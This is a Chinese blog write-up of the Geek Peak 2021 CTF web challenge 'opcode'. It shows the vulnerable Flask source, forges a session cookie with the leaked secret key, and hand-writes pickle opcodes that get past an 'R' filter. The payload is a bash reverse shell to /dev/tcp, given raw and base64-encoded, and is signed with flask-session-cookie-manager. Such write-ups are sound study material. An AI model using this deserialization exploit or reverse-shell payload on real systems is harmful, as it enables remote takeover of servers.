极客巅峰2021 web opcode


前言

打完了极客巅峰,说说感想:真就越来越菜了??签到都没出,直接0分,比刚入门那会儿还惨

下了两个pwn,一个 五六个libc+两个可执行文件,解压都懒得解压,一个malloc直接劝退,技能点还没点到

看到密码学有个 rsa,还以为到自己技能范围了,那么小的N居然不能分解,那么大个e居然不能破解,罢了罢了,只能说出题人水平真的高,学了一学期的中国剩余定理都没整明白,不觉得自己能在几小时内搞懂

web js 也没审出个啥东西来,刚好最近在搞反序列化,但是第一个着实被绕晕了,感觉利用点蛮多,却一个用不上,搜到个洞poc都没看懂,真想找个师傅带带啊

第二个pickle反序列化思路就清晰多了,幸运的是刚好前段时间在看 pickle 反序列化,不幸的是,刚好跳过了 __reduce__ 不能用的情况,结果当时看这个题的时候只有几分钟了,错过了这次0的突破,不过刚好趁着这题补个课了,在这里做个记录

尽量还原了一下题目环境,供师傅们复现 opcode


一、源码泄露

登陆的时候抓个包,很明显的任意文件读取,读了一下 /proc/self/cmdline 发现运行的是 app.py,其实也算是比较多余了,一般来说都是这个,然后读取 app.py 获得源码,查看网页源码,图片 src 中的 base64 就是了

from flask import Flask from flask import request from flask import render_template from flask import session import base64 import pickle import io import builtins  class RestrictedUnpickler(pickle.Unpickler):     blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit', 'map'}     def find_class(self, module, name):         if module == "builtins" and name not in self.blacklist:             return getattr(builtins, name)         raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))  def loads(data):     return RestrictedUnpickler(io.BytesIO(data)).load()   app = Flask(__name__)  app.config['SECRET_KEY'] = "y0u-wi11_neuer_kn0vv-!@#se%32"  @app.route('/admin', methods = ["POST","GET"]) def admin():     if('{}'.format(session['username'])!= 'admin' and str(session['username'] , encoding = "utf-8")!= 'admin'):         return "not admin"     try:         data = base64.b64decode(session['data'])         if "R" in data.decode():             return "nonono"         pickle.loads(data)     except Exception as e:         print(e)     return "success"  @app.route('/login', methods = ["GET","POST"]) def login():     username = request.form.get('username')     password = request.form.get('password')     imagePath = request.form.get('imagePath')     session['username'] = username + password     session['data'] = base64.b64encode(pickle.dumps('hello' + username, protocol=0))     try:         f = open(imagePath,'rb').read()     except Exception as e:         f = open('static/image/error.png','rb').read()     imageBase64 = base64.b64encode(f)     return render_template("login.html", username = username, password = password, data = bytes.decode(imageBase64))  @app.route('/', methods = ["GET","POST"]) def index():     return render_template("index.html") if __name__ == '__main__':     app.run(host='0.0.0.0', port='8888')  

二、分析源码

看到这个源码感觉思路还是蛮明确的,直接泄露了 SECRET_KEY,可以使用 flask-session-cookie-manager 破解session

{'data': b'base64编码后的序列化内容', 'username': 'admin'} 

但是比较麻烦的在这里

if "R" in data.decode():             return "nonono" 

序列化字符串中不能存在 R,而 __reduce__ 就是用到了R指令,不过也毫不意外,毕竟题目提示的就是要手写 opcode,在不使用 R 指令的情况下执行命令


二、解题步骤

构造不使用 R 指令执行命令的 payload,不会写没关系,已经有师傅帮我们总结了
pickle反序列化的利用技巧总结,隔空感谢
极客巅峰2021 web opcode
模仿上图的 o 指令,构造反弹shell 的opcode

import base64 import pickletools  a = b'''(cos system S'bash -c "bash -i >& /dev/tcp/ip/port 0>&1"' o.'''  a = pickletools.optimize(a) print(a) print(base64.b64encode(a))  # 输出 # b'(cosnsystemnS'bash -c "bash -i >& /dev/tcp/ip/port 0>&1"'no.' # b'KGNvcwpzeXN0ZW0KUydiYXNoIC1jICJiYXNoIC1pID4mIC9kZXYvdGNwL2lwL3BvcnQgMD4mMSInCm8u' 

顺便一提,因为过滤 R 指令的地方 对序列化内容做了 decode,所以序列化后的内容中不能出现 x81 这种无法 utf-8 解码的字符

构造 session

{'data': b'KGNvcwpzeXN0ZW0KUydiYXNoIC1jICJiYXNoIC1pID4mIC9kZXYvdGNwL2lwL3BvcnQgMD4mMSInCm8u', 'username': 'admin'} 

使用 flask-session-cookie-manager 进行加密

python3 flask_session_cookie_manager3.py encode -t "{'data': b'KGNvcwpzeXN0ZW0KUydiYXNoIC1jICJiYXNoIC1pID4mIC9kZXYvdGNwL2lwL3BvcnQgMD4mMSInCm8u', 'username': 'admin'}" -s 'y0u-wi11_neuer_kn0vv-!@#se%32' 

最后替换掉 cookie 中 session 的值,访问 /admin,即可反弹shell


总结

昨天写到这就停下来了,因为想到题目中重写了 find_class,但是好像并没有生效,还以为是自己不小心动了源码,所以去找了相关的资料,整了很晚也没整出来,最后发现题目本就如此。

立个flag,找时间学学手写opcode,再回来更新,看看是否可以在有沙箱的同时过滤 R 指令,还能命令执行

如果沙箱要生效的话,pickle.loads(data) 应改为 loads(data)

同时给师傅们找到了详细的 flag,极客巅峰2021WP

版权声明:玥玥 发表于 2021-08-02 14:05:48。
转载请注明:极客巅峰2021 web opcode | 女黑客导航